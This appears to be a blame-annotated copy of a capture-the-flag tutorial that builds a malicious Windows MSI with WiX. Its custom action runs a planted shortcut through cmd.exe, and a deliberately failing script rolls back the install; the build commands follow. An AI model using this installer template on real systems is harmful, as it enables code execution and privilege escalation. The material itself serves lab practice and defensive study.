2021-01-24 10:03:34 +00:00
|
|
|
|
# Create MSI with WIX
|
|
|
|
|
|
2021-11-30 16:46:07 +00:00
|
|
|
|
**Tutorial copied from** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\
|
2021-10-18 11:21:18 +00:00
|
|
|
|
In order to create the msi we will use [wixtools](http://wixtoolset.org) , you can use other msi builders but they didn’t work for me.\
|
|
|
|
|
Check [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) for some wix msi usage examples.\
|
2021-01-24 10:03:34 +00:00
|
|
|
|
We will create an msi that executes our lnk file :
|
|
|
|
|
|
|
|
|
|
```markup
|
|
|
|
|
<?xml version="1.0"?>
|
|
|
|
|
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
|
|
|
|
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
|
|
|
|
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
|
|
|
|
|
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
|
|
|
|
|
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
|
|
|
|
|
<Directory Id="TARGETDIR" Name="SourceDir">
|
|
|
|
|
<Directory Id="ProgramFilesFolder">
|
|
|
|
|
<Directory Id="INSTALLLOCATION" Name="Example">
|
|
|
|
|
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
|
|
|
|
|
</Component>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
</Directory>
|
|
|
|
|
<Feature Id="DefaultFeature" Level="1">
|
|
|
|
|
<ComponentRef Id="ApplicationFiles"/>
|
|
|
|
|
</Feature>
|
|
|
|
|
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\rick.lnk"</Property>
|
|
|
|
|
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
|
|
|
|
|
Impersonate="yes"/>
|
|
|
|
|
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
|
|
|
|
|
fail_here
|
|
|
|
|
</CustomAction>
|
|
|
|
|
<InstallExecuteSequence>
|
|
|
|
|
<Custom Action="Stage1" After="InstallInitialize"></Custom>
|
|
|
|
|
<Custom Action="Stage2" Before="InstallFiles"></Custom>
|
|
|
|
|
</InstallExecuteSequence>
|
|
|
|
|
</Product>
|
|
|
|
|
</Wix>
|
|
|
|
|
```
|
|
|
|
|
|
2021-11-30 16:46:07 +00:00
|
|
|
|
 We will use `candle.exe` from wixtools to create a wixobject from `msi.xml`
|
2021-01-24 10:03:34 +00:00
|
|
|
|
|
|
|
|
|
```markup
|
|
|
|
|
candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
![](https://0xrick.github.io/images/hackthebox/ethereal/65.png)
|
|
|
|
|
|
|
|
|
|
Then we will use `light.exe` to create the msi file from the wixobject:
|
|
|
|
|
|
|
|
|
|
```markup
|
|
|
|
|
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
![](https://0xrick.github.io/images/hackthebox/ethereal/66.png)
|